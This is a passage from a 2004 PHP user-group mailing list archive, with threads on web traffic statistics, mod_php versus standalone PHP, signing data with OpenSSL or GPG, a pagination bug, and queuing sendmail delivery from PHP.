talk-bounces at lists.nyphp.org > [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Rolan Yang > Sent: Thursday, June 03, 2004 11:23 AM > To: NYPHP Talk > Subject: [nycphp-talk] umm... clew? > > > Ok. I've stumbled across a need for Clew, or perhaps > there might a way to complish this of which I am not aware: > > I choose not to receieve any emails from the nyphp-talk list, > (read it once a day on the web) but I do want to reply to > some messages in a manner such that the web interface > organizes the threads properly.. (in my 2 previous reply > posts, I added a "Re:" to the subject, however mailman seemed > pseudo-intelligent enough to strip it out when processing my replies). > > Any clews? > > ~Rolan > > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk > From jsiegel1 at optonline.net Thu Jun 3 11:39:17 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Thu, 03 Jun 2004 11:39:17 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: References: <40BF37E5.4000409@optonline.net> Message-ID: <40BF4625.3050909@optonline.net> Exactly! Jeff David Mintz wrote: > OTOH I take it back. In a shared hosting environment you're not likely to > be able to pick and choose which Apache modules to run. > > On Thu, 3 Jun 2004, David Mintz wrote: > > >>Jeremy Zawodny has some interesting ideas about using MySQL >>for logging: http://www.linux-mag.com/2002-10/lamp_01.html >> >> >>On Thu, 3 Jun 2004, Jeff Siegel wrote: >> >> >>>The web stats provided by my client's ISP (shared hosting) leaves a lot >>>to be desired (seems that some things are not being recorded in the >>>stats log). Just wondering if there is a PHP/MySQL-based solution that >>>will allow us to get some real stats. >> >> >>--- >>David Mintz >>http://davidmintz.org/ >> >> "Anybody else got a problem with Webistics?" -- Sopranos 24:17 >>_______________________________________________ >>talk mailing list >>talk at lists.nyphp.org >>http://lists.nyphp.org/mailman/listinfo/talk >> > > > > --- > David Mintz > http://davidmintz.org/ > > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From jsiegel1 at optonline.net Thu Jun 3 11:39:38 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Thu, 03 Jun 2004 11:39:38 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <000201c4497b$bb445840$e98d3818@oberon1> References: <000201c4497b$bb445840$e98d3818@oberon1> Message-ID: <40BF463A.7030107@optonline.net> Looks quite interesting! Thanks so much! Jeff Tim Gales wrote: > Jeff Siegel writes: > > >>Just wondering if there is a PHP/MySQL-based >>solution that >>will allow us to get some real stats. > > > maybe you should have a look at this: > http://www.phpopentracker.de/apidoc/hierarchy.html > > T. Gales & Associates > 'Helping People Connect with Technology' > > http://www.tgaconnect.com > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From adam at trachtenberg.com Thu Jun 3 12:21:14 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Thu, 3 Jun 2004 12:21:14 -0400 (EDT) Subject: [nycphp-talk] Anyone going to LinuxWorld San Francisco? In-Reply-To: <20040603025732.79140.qmail@web14303.mail.yahoo.com> References: <20040603025732.79140.qmail@web14303.mail.yahoo.com> Message-ID: On Wed, 2 Jun 2004, Chris Shiflett wrote: > --- Adam Maccabee Trachtenberg wrote: > > > Anyone going to LinuxWorld San Francisco in August > > > http://www.linuxworldexpo.com/live/12/events/12SFO04A ? > > > > I'll be there. I'm actually speaking on "Cross Platform Web Services > > for eCommerce" (e.g. writing apps using the eBay API). > > > > My talk is in the afternoon, after Andi's "PHP 5" talk. > > > > > If so, please let me know. A publisher is interested in putting > > > together a meeting to discuss PHP 5 for just members of NYPHP > > > (because we are so loved) > > > > Well, depending upon who your publisher is, you may or may not want > > me to attend. :) > > This sounds interesting. Maybe I can sleep on Adam's floor. :-) By LinuxWorld I should not only have an apartment, I should also have furniture, so there'll be no need for floor sleeping. :) -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From shiflett at php.net Thu Jun 3 12:21:25 2004 From: shiflett at php.net (Chris Shiflett) Date: Thu, 3 Jun 2004 09:21:25 -0700 (PDT) Subject: [nycphp-talk] "mod PHP" vs. PHP In-Reply-To: <40BF3F2A.7030601@omnistep.com> Message-ID: <20040603162125.39129.qmail@web14307.mail.yahoo.com> > I have a somewhat stupid question: what's the difference between > "mod PHP" and PHP? That's a good question. In general, mod_php is specific - it indicates an Apache module (like mod_* typically does). However, no one I know ever really uses this term. Contrast with Perl for a moment. In the beginning, there was Perl, the language. It was a typical scripting language, complete with interpreter. Years later, an Apache module called mod_perl was written, and this allowed Perl programmers to do the same sort of things we do with PHP (technically, it was an attempt to implement the entire Apache API in Perl, so it's more flexible in some ways than PHP). So, in the Perl world, it's pretty clear: Perl = Regular interpreter mod_perl = Web interpreter With PHP, things are a bit different. We use: PHP = Web interpreter PHP CLI = Regular interpreter The use of mod_php is also restricted to Apache (I don't think any other SAPIs are called mod_php; correct me if I'm wrong), and unlike Perl, PHP supports additional Web servers. So, we can't really use only the terms PHP and mod_php to distinguish these uses anyway. I'm not sure if that clarifies anything, but that's my view of history. Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From rolan at omnistep.com Thu Jun 3 12:53:25 2004 From: rolan at omnistep.com (Rolan Yang) Date: Thu, 03 Jun 2004 12:53:25 -0400 Subject: [nycphp-talk] PHP Solution for Website stats Message-ID: <40BF5785.1070209@omnistep.com> Actually, it would be quite easy to import. You would only need a 5 line shell script which sliced and diced the existing logs. Then a mysql query to "load data infile into table blag_logs". For low bandwidth sites, I don't see a problem with mod_log_sql, however if you are serving lots of pages, you could quickly saturate your network or disk i/o bandwidth (depending on if your mysql is on the same machine or another). As an example, I'm hosting a pretty high traffic phpBB for someone right now. Sometimes the site is hit with like 30+ page requests/sec. PhpBB is quite a hog and when people are viewing a page full of posts that contain 100+smiley icons, etc (each one counting as a hit) you can easily run up like 3000 hits/sec. Each hit is an entry in the apache log... Now if you had mod_log_sql running, your server would have to manage 3000+ mysql inserts per sec.. that would place a serious load not only on your disk i/o but also cpu. What makes matters worse with phpBB, is (and I'm not completely sure about this) that the pages are set to "nocache" so everything is reloaded upon every page access. This keeps the load on the server consistently high throughout the day. ~Rolan Jeff Siegel wrote: >Thanks for pointing this out. I remember that article. >I'm looking for a "brain-dead" solution, i.e., one that can be >implemented in minutes. > >Jeff David Mintz wrote: > Jeremy Zawodny has some interesting ideas about using MySQL > for logging: http://www.linux-mag.com/2002-10/lamp_01.html > > > On Thu, 3 Jun 2004, Jeff Siegel wrote: > > >>The web stats provided by my client's ISP (shared hosting) leaves a lot >>to be desired (seems that some things are not being recorded in the >>stats log). Just wondering if there is a PHP/MySQL-based solution that >>will allow us to get some real stats. > > > > --- > David Mintz > http://davidmintz.org/ > > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From corey at domanistudios.com Thu Jun 3 13:19:39 2004 From: corey at domanistudios.com (corey szopinski) Date: Thu, 03 Jun 2004 13:19:39 -0400 Subject: [nycphp-talk] sending email from PHP Message-ID: I?m trying to build a tool to send dynamic emails (think order summary) from PHP. I?m running into very long delays waiting for sendmail to return a result. For example, a person submits an order, the function that handles the transaction does a couple of things: 1. Sends an order confirmation to the store 2. Sends an order confirmation to the customer The whole process can take over 1 minute, which times out the browser. I?ve tracked it down the delay to sendmail verifying the remote email address. Since sendmail talks to the remote mail server in real-time, any network lag, or DNS lag, causes the order process to hang. In my case, it does it twice. I?ve looked at Pear Mail_Queue, and that looks interesting, but a bit overkill. I?ve also looked at going around the mail() function and opening an SMTP socket directly to sendmail (same delays... in fact when I open a session via command line, I can see the exact step in the SMTP conversion where the lag happens) Here?s what I?d like to do (and this would be helpful for anyone sending out a modest volume of email)... 1. send the mail to sendmail 2. sendmail puts it into a queue 3. sendmail periodically checks this queue and sends the email. Essentially, I?d like to fork the slow lookup stuff to the background, returning control the browser as soon as possible. This has the added benefit of scaling to very large emails/hour since the browser never has to wait for sendmail (or an external server) before a visitor can move on. I?m pretty sure that this is intrinsic to the way sendmail works, but most of the documentation talks about the queue holding mail that?s not deliverable. What I?d like to do is put to put a delay on the email before it?s processed by sendmail. Any ideas? -corey DOMANI STUDIOS Corey Szopinski Technology Director corey at domanistudios.com 70 Washington St. Suite 710 Brooklyn, NY 11201 718.797.4470 x116 -------------- next part -------------- An HTML attachment was scrubbed... URL: From csnyder at chxo.com Thu Jun 3 13:25:05 2004 From: csnyder at chxo.com (Chris Snyder) Date: Thu, 03 Jun 2004 13:25:05 -0400 Subject: [nycphp-talk] umm... clew? In-Reply-To: <40BF424B.6060702@omnistep.com> References: <40BF424B.6060702@omnistep.com> Message-ID: <40BF5EF1.4000403@chxo.com> Rolan Yang wrote: > Ok. I've stumbled across a need for Clew... [snip] > I do want to reply to some messages > in a manner such that the web interface organizes the threads > properly.. It seems you have a clue as to why Clew is such an exciting project. :-D Discussion could be continued at http://clew.nyphp.org/clew/clew ... From danielc at analysisandsolutions.com Thu Jun 3 13:26:58 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Thu, 3 Jun 2004 13:26:58 -0400 Subject: [nycphp-talk] Digital Signatures in PHP In-Reply-To: <40BF3FEA.80301@omnistep.com> References: <40BF3FEA.80301@omnistep.com> Message-ID: <20040603172658.GB10132@panix.com> On Thu, Jun 03, 2004 at 11:12:42AM -0400, Rolan Yang wrote: > How about md5() ? Exactly what I was going to say. Simple. Effective. If you want something to actually SIGN with, then consider shelling out to GPG. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From csnyder at chxo.com Thu Jun 3 13:38:00 2004 From: csnyder at chxo.com (Chris Snyder) Date: Thu, 03 Jun 2004 13:38:00 -0400 Subject: [nycphp-talk] "mod PHP" vs. PHP In-Reply-To: <40BDDD64.9050400@ceruleansky.com> References: <40BDDD64.9050400@ceruleansky.com> Message-ID: <40BF61F8.4070000@chxo.com> Jayesh Sheth wrote: > what's the difference between "mod PHP" and PHP? I'll take a stab at this, but only because no one else has said it quite this way. mod_php is a nickname for PHP compiled as an Apache module, whereas PHP (cli or cgi) refers to the standalone interpreter. The functional difference is that mod_php is available within every httpd process. When Apache encounters a PHP script, it hands it off to its internal module for processing, then puts the output on the wire. Standalone (cgi) PHP is run as a separate process: when Apache encounters a PHP script, it executes PHP as a command, passing the script and the $_SERVER environment. When suexec is involved, Apache runs the php command with the same uid as the owner of the script. The separation of processes allows the separation of powers. My understanding is that this is slightly less efficient, but it's certainly safer. From phillip.powell at adnet-sys.com Thu Jun 3 13:45:40 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Thu, 03 Jun 2004 13:45:40 -0400 Subject: [nycphp-talk] Problem with Pagination Message-ID: <40BF63C4.3040209@adnet-sys.com> I wrote a class method that will handle pagination regarding medium-sized resultsets (estimating maximum number of rows at 500). Everything works beautifully, except one annoying problem that involves someone with a math degree or really really good with numbers: The "next link" displays the wrong number of "next" items every time! I can't honestly, for the life of me, figure out the algorithm to get it right. The pagination functionality works perfectly, except that one part. Here is the "Reader's Digest" version of my class: [PHP] |class PaginationView extends View { var $result; // YOUR RESULTSET function PaginationView($result) { // CONSTRUCTOR $this->result = $result; } function &displayPage() { // STATIC HTML STRING METHOD global $section, $action, $album, $headerMenuArray, $willPaginate, $displayItemLimit; foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = $val; $qs = "section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . urlencode($album) . '&willKeepPageSession=1'; // FOR EASE OF WRITE if ((int)$page === 0) $page = 1; $page = (int)$page; // CONVERT TO INTEGER if (@sizeof($this->result) > $displayItemLimit && $willPaginate) { $html .= "

\n"; // PREVIOUS LINK if ((int)$page !== 1) { $pagePrev = $page - 1; $html .= " Previous $displayItemLimit ${section}s in \"$album\" | "; } $numPages = (int)(@sizeof($this->result) / $displayItemLimit); // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE for ($i = 1; $i <= $numPages; $i++) { if ((int)$i === (int)$page) $html .= "$i | "; else $html .= "$i | "; } // LAST PAGE NUMBER LINK if (@sizeof($this->result) % $displayItemLimit != 0) { if ((int)$i === (int)$page) $html .= "$i  "; else $html .= "$i  "; } // NEXT LINK $offset = (int)(@sizeof($this->result) - ($displayItemLimit * ($page - 1))); if ($offset > 0) { $pageNext = $page + 1; $html .= " | Next "; $html .= ($offset + (int)$displayItemLimit > @sizeof($this->result)) ? (int)($displayItemLimit - $offset) : $displayItemLimit; $html .= " ${section}s in \"$album\""; } $html .= "\n
\n"; } return $html; } } | -- [/PHP] Here is a sample output that results with a $displayItemLimit of 20 items and I'm on page "1" and there are 45 items altogether: quote: ------------------------------------------------------------------------ 1 | 2 | 3 | Next -25 images in "Album 1" ------------------------------------------------------------------------ The problem is the $offset variable I know in the // NEXT LINK code block, but I'm stuck, I can't figure it out, furthermore, both of these utterly fail in PHP 4.3.2 on my system: |PHP:| ------------------------------------------------------------------------ | $pagePrev = $page--; | ------------------------------------------------------------------------ |PHP:| ------------------------------------------------------------------------ | $pageNext = $page++; | ------------------------------------------------------------------------ Both result in $pagePrev and $pageNext having null values even though $page exists and is cast into an integer ----------------------- At this point I'm not sure what else to do since I'm close to implementing my Pagination class instantiation on my other display classes, but not until I get this one problem fixed or someone just guide me in the right direction as to the exactly working algorithm for at least the "next" links to display correctly. *Update* I am basing my algorithm on the tutorial at http://www.phpfreaks.com/tutorials/43/4.php Thanx Phil --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From dcech at phpwerx.net Thu Jun 3 13:52:05 2004 From: dcech at phpwerx.net (Dan Cech) Date: Thu, 03 Jun 2004 13:52:05 -0400 Subject: [nycphp-talk] Digital Signatures in PHP In-Reply-To: <20040603172658.GB10132@panix.com> References: <40BF3FEA.80301@omnistep.com> <20040603172658.GB10132@panix.com> Message-ID: <40BF6545.3000401@phpwerx.net> Daniel Convissor wrote: > On Thu, Jun 03, 2004 at 11:12:42AM -0400, Rolan Yang wrote: >>How about md5()? > > Exactly what I was going to say. Simple. Effective. Yeah, md5 is ok if you just want to take a hash to see if someone has changed something, but I need to be able to store the message and the hash together, so encryption is mandatory. > If you want something to actually SIGN with, then consider shelling out to > GPG. I was looking into this, but it seems to have a few drawbacks, notably having to write everything to file, I'd rather do it internally if at all possible. Now that I have figured out how to get the keys into the right format the openssl_sign and openssl_verify functions actually seem to work very well, it's just a question of how reliable they are on older versions of php. Dan From tgales at tgaconnect.com Thu Jun 3 13:58:14 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Thu, 3 Jun 2004 13:58:14 -0400 Subject: [nycphp-talk] "mod PHP" vs. PHP In-Reply-To: <20040603162125.39129.qmail@web14307.mail.yahoo.com> Message-ID: <001301c44994$584c2830$e98d3818@oberon1> Chris Shiflett writes: (in response to: what's the difference between "mod PHP" and PHP? ) > So, in the Perl world, it's pretty clear: > > Perl = Regular interpreter > mod_perl = Web interpreter Are you sure there isn't another *right* way to explain that? And did you really say: "In the beginning there was Perl..." You better put on an asbestos flak-jacket (in case there are any 'fundamentalists' on the list who maintain "In the beginning there was 'the Word' " T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From adam at trachtenberg.com Thu Jun 3 13:58:32 2004 From: adam at trachtenberg.com (Adam Maccabee Trachtenberg) Date: Thu, 3 Jun 2004 13:58:32 -0400 (EDT) Subject: [nycphp-talk] Problem with Pagination In-Reply-To: <40BF63C4.3040209@adnet-sys.com> References: <40BF63C4.3040209@adnet-sys.com> Message-ID: On Thu, 3 Jun 2004, Phillip Powell wrote: > I wrote a class method that will handle pagination regarding > medium-sized resultsets (estimating maximum number of rows at 500). > Everything works beautifully, except one annoying problem that involves > someone with a math degree or really really good with numbers: > > The "next link" displays the wrong number of "next" items every time! I > can't honestly, for the life of me, figure out the algorithm to get it > right. The pagination functionality works perfectly, except that one part. My advice is that you should buy "PHP Cookbook" and steal the recipe from there. :) Or, just look at the source for the PEAR pager classes. -adam -- adam at trachtenberg.com author of o'reilly's php cookbook avoid the holiday rush, buy your copy today! From csnyder at chxo.com Thu Jun 3 14:12:46 2004 From: csnyder at chxo.com (Chris Snyder) Date: Thu, 03 Jun 2004 14:12:46 -0400 Subject: [nycphp-talk] Digital Signatures in PHP In-Reply-To: <40BF6545.3000401@phpwerx.net> References: <40BF3FEA.80301@omnistep.com> <20040603172658.GB10132@panix.com> <40BF6545.3000401@phpwerx.net> Message-ID: <40BF6A1E.2060503@chxo.com> Dan Cech wrote: > Now that I have figured out how to get the keys into the right format > the openssl_sign and openssl_verify functions actually seem to work > very well, it's just a question of how reliable they are on older > versions of php. Or older versions of openssl? Bravo for taking this road, though, it sounds like an excellent solution. From dyun at blue-iceberg.com Thu Jun 3 14:29:16 2004 From: dyun at blue-iceberg.com (David Yun) Date: Thu, 03 Jun 2004 14:29:16 -0400 Subject: [nycphp-talk] sending email from PHP In-Reply-To: Message-ID: Corey, It sounds like you could have a problem with your sendmail configuration - have you experienced this problem in the past? The php mail() function is usually pretty snappy, at least for sending out smaller volumes such as 2 emails. Also, have you tried using the phpmailer class? http://phpmailer.sourceforge.net/ David Yun Production Manager Blue Iceberg LLC Interactive Strategy | Website Development | Business Solutions http://www.blue-iceberg.com Tel: 212.413.9226 Ext.9238 Fax: 212.413.9201 > I?m trying to build a tool to send dynamic emails (think order summary) from > PHP. I?m running into very long delays waiting for sendmail to return a > result. > > For example, a person submits an order, the function that handles the > transaction does a couple of things: > > 1. Sends an order confirmation to the store > 2. Sends an order confirmation to the customer > > The whole process can take over 1 minute, which times out the browser. I?ve > tracked it down the delay to sendmail verifying the remote email address. > Since sendmail talks to the remote mail server in real-time, any network lag, > or DNS lag, causes the order process to hang. In my case, it does it twice. > > I?ve looked at Pear Mail_Queue, and that looks interesting, but a bit > overkill. I?ve also looked at going around the mail() function and opening an > SMTP socket directly to sendmail (same delays... in fact when I open a session > via command line, I can see the exact step in the SMTP conversion where the > lag happens) > > Here?s what I?d like to do (and this would be helpful for anyone sending out a > modest volume of email)... > > 1. send the mail to sendmail > 2. sendmail puts it into a queue > 3. sendmail periodically checks this queue and sends the email. > > Essentially, I?d like to fork the slow lookup stuff to the background, > returning control the browser as soon as possible. This has the added benefit > of scaling to very large emails/hour since the browser never has to wait for > sendmail (or an external server) before a visitor can move on. > > I?m pretty sure that this is intrinsic to the way sendmail works, but most of > the documentation talks about the queue holding mail that?s not deliverable. > What I?d like to do is put to put a delay on the email before it?s processed > by sendmail. > > Any ideas? > > -corey > > > > > DOMANI STUDIOS > > Corey Szopinski > Technology Director > > corey at domanistudios.com > 70 Washington St. Suite 710 > Brooklyn, NY 11201 > 718.797.4470 x116 > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From sm11szw02 at sneakemail.com Thu Jun 3 14:39:56 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Thu, 03 Jun 2004 14:39:56 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <40BF5785.1070209@omnistep.com> References: <40BF5785.1070209@omnistep.com> Message-ID: <4118-48751@sneakemail.com> Rolan Yang rolan-at-omnistep.com |nyphp 04/2004| wrote: > Actually, it would be quite easy to import. You would only need a 5 > line shell > script which sliced and diced the existing logs. Then a mysql query > to "load data infile into table blag_logs". > > For low bandwidth sites, I don't see a problem with mod_log_sql, > however if you are > serving lots of pages, you could quickly saturate your network or disk > i/o bandwidth (depending > on if your mysql is on the same machine or another). > > As an example, I'm hosting a pretty high traffic phpBB for someone > right now. Sometimes > the site is hit with like 30+ page requests/sec. PhpBB is quite a hog > and when people are viewing > a page full of posts that contain 100+smiley icons, etc (each one > counting as a hit) you can > easily run up like 3000 hits/sec. Each hit is an entry in the apache > log... Now if you had mod_log_sql > running, your server would have to manage 3000+ mysql inserts per > sec.. that would place a serious > load not only on your disk i/o but also cpu. What makes matters worse > with phpBB, is (and I'm not > completely sure about this) that the pages are set to "nocache" so > everything is reloaded upon > every page access. This keeps the load on the server consistently high > throughout the day. > > ~Rolan > Now there's an example of the expertise associated with the NYPHP talk lists.... and free-as-in-beer as well! From mjdewitt at alexcommgrp.com Thu Jun 3 14:46:38 2004 From: mjdewitt at alexcommgrp.com (DeWitt, Michael) Date: Thu, 3 Jun 2004 14:46:38 -0400 Subject: [nycphp-talk] sending email from PHP Message-ID: I have some issues along these lines but made a few changes in the way PHP interfaces with sendmail. Here are the key changes: 1. Set the from address in sendmail before you use it and set delivery mode to defer. Make sure your from address is a trusted user of sendmail to suppress the warning of identity change. $fromaddress='info at yourdomain.com' putenv("PHP_SENDMAILPARAMS= -O DeliveryMode=defer -f $fromaddress"); 2. Build your lists and use the regular ole mail command $datasent=mail($toaddress, $subject, $bodytext, "From: ".$fromaddress."\r\n" ."Bcc:".$addbcc."\r\n" ."Reply-To: ".$fromaddress."\r\n" ."Errors-To: <".$fromaddress.">"."\r\n" ."X-Mailer: PHP/" . phpversion()); 3.Flush the queue or just wait for sendmail's natural queue flush (depends on how you have this setup and how quickly you need to process the queue) $processq=exec('/usr/lib/sendmail -q >/dev/null &'); Making these changes made email broadcasts practical and is 100 x faster than the default setup where php waits for sendmail to deliver. Hope this helps Mike > -----Original Message----- > From: corey szopinski [SMTP:corey at domanistudios.com] > Sent: Thursday, June 03, 2004 1:20 PM > To: NYPHP Talk > Subject: [nycphp-talk] sending email from PHP > > I'm trying to build a tool to send dynamic emails (think order summary) > from PHP. I'm running into very long delays waiting for sendmail to return > a result. > > For example, a person submits an order, the function that handles the > transaction does a couple of things: > > 1. Sends an order confirmation to the store > 2. Sends an order confirmation to the customer > > The whole process can take over 1 minute, which times out the browser. > I've tracked it down the delay to sendmail verifying the remote email > address. Since sendmail talks to the remote mail server in real-time, any > network lag, or DNS lag, causes the order process to hang. In my case, it > does it twice. > > I've looked at Pear Mail_Queue, and that looks interesting, but a bit > overkill. I've also looked at going around the mail() function and opening > an SMTP socket directly to sendmail (same delays... in fact when I open a > session via command line, I can see the exact step in the SMTP conversion > where the lag happens) > > Here's what I'd like to do (and this would be helpful for anyone sending > out a modest volume of email)... > > 1. send the mail to sendmail > 2. sendmail puts it into a queue > 3. sendmail periodically checks this queue and sends the email. > > Essentially, I'd like to fork the slow lookup stuff to the background, > returning control the browser as soon as possible. This has the added > benefit of scaling to very large emails/hour since the browser never has > to wait for sendmail (or an external server) before a visitor can move on. > > I'm pretty sure that this is intrinsic to the way sendmail works, but most > of the documentation talks about the queue holding mail that's not > deliverable. What I'd like to do is put to put a delay on the email before > it's processed by sendmail. > > Any ideas? > > -corey > > > > > DOMANI STUDIOS > > Corey Szopinski > Technology Director > > corey at domanistudios.com > 70 Washington St. Suite 710 > Brooklyn, NY 11201 > 718.797.4470 x116 > > << File: ATT13382.txt >> From rolan at omnistep.com Thu Jun 3 14:49:03 2004 From: rolan at omnistep.com (Rolan Yang) Date: Thu, 03 Jun 2004 14:49:03 -0400 Subject: [nycphp-talk] Digital Signatures in PHP In-Reply-To: <40BF6545.3000401@phpwerx.net> References: <40BF3FEA.80301@omnistep.com> <20040603172658.GB10132@panix.com> <40BF6545.3000401@phpwerx.net> Message-ID: <40BF729F.8060002@omnistep.com> Yea, sometimes I wish you could just pipe data to gpg and have it spit out an encrypted message... rather than having it operate on an existing file. Storing sensitive information in a temporary file which has readable permissions by the web server leaves me feeling a bit insecure too. Dan Cech wrote: > Daniel Convissor wrote: > >> On Thu, Jun 03, 2004 at 11:12:42AM -0400, Rolan Yang wrote: >> >>> How about md5()? >> >> >> Exactly what I was going to say. Simple. Effective. > > > Yeah, md5 is ok if you just want to take a hash to see if someone has > changed something, but I need to be able to store the message and the > hash together, so encryption is mandatory. > >> If you want something to actually SIGN with, then consider shelling >> out to GPG. > > > I was looking into this, but it seems to have a few drawbacks, notably > having to write everything to file, I'd rather do it internally if at > all possible. > > Now that I have figured out how to get the keys into the right format > the openssl_sign and openssl_verify functions actually seem to work > very well, it's just a question of how reliable they are on older > versions of php. > > Dan > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From sm11szw02 at sneakemail.com Thu Jun 3 14:52:01 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Thu, 03 Jun 2004 14:52:01 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <40BF5785.1070209@omnistep.com> References: <40BF5785.1070209@omnistep.com> Message-ID: <13309-40190@sneakemail.com> So phpopentracker would suffer from the same factors on larger traffic sites (since it writes to the database with every hit). Does anyone rsync the access log to another server running a php/mysql traffic logging system ( php not perl) ? Rolan Yang rolan-at-omnistep.com |nyphp 04/2004| wrote: > Actually, it would be quite easy to import. You would only need a 5 > line shell > script which sliced and diced the existing logs. Then a mysql query > to "load data infile into table blag_logs". > > For low bandwidth sites, I don't see a problem with mod_log_sql, > however if you are > serving lots of pages, you could quickly saturate your network or disk > i/o bandwidth (depending > on if your mysql is on the same machine or another). > > As an example, I'm hosting a pretty high traffic phpBB for someone > right now. Sometimes > the site is hit with like 30+ page requests/sec. PhpBB is quite a hog > and when people are viewing > a page full of posts that contain 100+smiley icons, etc (each one > counting as a hit) you can > easily run up like 3000 hits/sec. Each hit is an entry in the apache > log... Now if you had mod_log_sql > running, your server would have to manage 3000+ mysql inserts per > sec.. that would place a serious > load not only on your disk i/o but also cpu. What makes matters worse > with phpBB, is (and I'm not > completely sure about this) that the pages are set to "nocache" so > everything is reloaded upon > every page access. This keeps the load on the server consistently high > throughout the day. > > ~Rolan > > Jeff Siegel wrote: > > >Thanks for pointing this out. I remember that article. > >I'm looking for a "brain-dead" solution, i.e., one that can be > >implemented in minutes. > > > >Jeff > > > David Mintz wrote: > > > Jeremy Zawodny has some interesting ideas about using MySQL > > for logging: http://www.linux-mag.com/2002-10/lamp_01.html > > > > > > On Thu, 3 Jun 2004, Jeff Siegel wrote: > > > > > >>The web stats provided by my client's ISP (shared hosting) leaves a lot > >>to be desired (seems that some things are not being recorded in the > >>stats log). Just wondering if there is a PHP/MySQL-based solution that > >>will allow us to get some real stats. > > > > > > > > --- > > David Mintz > > http://davidmintz.org/ > > > > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From corey at domanistudios.com Thu Jun 3 14:59:46 2004 From: corey at domanistudios.com (corey szopinski) Date: Thu, 03 Jun 2004 14:59:46 -0400 Subject: [nycphp-talk] sending email from PHP In-Reply-To: Message-ID: This looks like it might be the solution I?m looking for. Thanks Mike. -c On 6/3/04 2:46 PM, "DeWitt, Michael" wrote: > I have some issues along these lines but made a few changes in the way PHP > interfaces with sendmail. Here are the key changes: > > > 1. Set the from address in sendmail before you use it and set delivery mode > to defer. Make sure your from address is a trusted user of sendmail to > suppress the warning of identity change. > > $fromaddress='info at yourdomain.com' > putenv("PHP_SENDMAILPARAMS= -O DeliveryMode=defer -f > $fromaddress"); > > 2. Build your lists and use the regular ole mail command > > $datasent=mail($toaddress, $subject, > $bodytext, "From: ".$fromaddress."\r\n" > ."Bcc:".$addbcc."\r\n" > ."Reply-To: ".$fromaddress."\r\n" > ."Errors-To: <".$fromaddress.">"."\r\n" > ."X-Mailer: PHP/" . phpversion()); > > 3.Flush the queue or just wait for sendmail's natural queue flush (depends > on how you have this setup and how quickly you need to process the queue) > > $processq=exec('/usr/lib/sendmail -q >/dev/null &'); > > Making these changes made email broadcasts practical and is 100 x faster > than the default setup where php waits for sendmail to deliver. > > Hope this helps > > Mike > DOMANI STUDIOS Corey Szopinski Technology Director corey at domanistudios.com 70 Washington St. Suite 710 Brooklyn, NY 11201 718.797.4470 x116 -------------- next part -------------- An HTML attachment was scrubbed... URL: From erank at isthmus.com Thu Jun 3 15:03:02 2004 From: erank at isthmus.com (Eric Rank) Date: Thu, 3 Jun 2004 14:03:02 -0500 Subject: [nycphp-talk] sending email from PHP References: Message-ID: <009401c4499d$6542b460$8b01a8c0@DB> sending email from PHPHi Corey, Sounds like an interesting problem. I've toyed with various mail sending scripts including phpmailer (http://phpmailer.sourceforge.net) and pear_mail_mime with pretty good luck in multiple configurations. In the configurations I've used, the script calls out to sendmail (in my case Exim, which is a nice drop-in alternative to sendmail) and places the mail in the que of the mail server. The script runs as fast as it can make a request to the mail server. That said, I think the problem is outside php. If you're experiencing problems communicating with sendmail, you might try clearing out the existing que first. It looks like Michael's suggestion is much more in depth than what I'm telling you though. I bet he's right on the money. I haven't dealt extensively with email address verification though. I've toyed around with various ideas, but as far as I know, outside of making requests to the MX of the domain directly, there's not an elegant way to handle it. In doing so, you're actually writing a mail server. Quite a task. As such, I've just had to deal with the replies to the sender's email from the email recipient's MX telling me that the address doesn't exist, or that the mailbox is full, or whatever. I'd be interested in hearing other people's solutions for email verification. It's such an important thing to do. There's gotta be an easy way. Good luck! Eric ----- Original Message ----- From: corey szopinski To: NYPHP Talk Sent: Thursday, June 03, 2004 12:19 PM Subject: [nycphp-talk] sending email from PHP I'm trying to build a tool to send dynamic emails (think order summary) from PHP. I'm running into very long delays waiting for sendmail to return a result. For example, a person submits an order, the function that handles the 